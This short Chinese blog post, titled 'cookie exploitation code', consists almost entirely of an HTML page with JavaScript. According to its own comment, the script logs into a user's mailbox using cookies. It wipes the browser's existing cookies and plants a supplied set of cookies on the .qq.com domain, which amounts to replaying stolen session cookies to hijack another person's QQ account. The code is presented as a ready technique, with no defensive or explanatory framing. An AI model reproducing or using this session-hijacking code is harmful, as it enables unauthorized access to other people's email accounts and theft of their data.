cookie利用代码

1

<html>
    <head>
        <meta charset="utf-8">
    </head>
    <body>
    </body>
    <script>
    </script>
    <script>
        //通过cookie 直接登录用户邮箱, 这是一种黑猫警长技术
        var string = "";
        
        
        var getCookie = function( str) {
            var cookieArr = str.split(";");
            if(cookieArr == "") return ;
            var result = {};
            for(var i=0; i<cookieArr.length; i++) {
                cookieArr[i] = cookieArr[i].trim();
                var key = cookieArr[i].split("=")[0].trim();
                var value = cookieArr[i].substr(key.length+1).trim();
                result[key] = value;
            };
            return result;
        }
        var setCookie = function(key, value, day) {
            var date = new Date();
            date.setDate(date.getDate() + day);
            document.cookie = key+"="+value+"; expires="+date.toGMTString()+"; path=/" + "; domain=.qq.com";
        }
        var oldCookies = getCookie(document.cookie);
        //removeOld-cookie;
        for(var p in oldCookies) {
            setCookie(p, oldCookies[p], -4);
        }

        var cookies = getCookie(string);
        for(var p in cookies) {
            setCookie(p, cookies[p], 4);
        }
    </script>
</html>

 

EOF

posted @ 2021-01-11 20:29  方方和圆圆  阅读(288)  评论(0编辑  收藏  举报

再过一百年, 我会在哪里?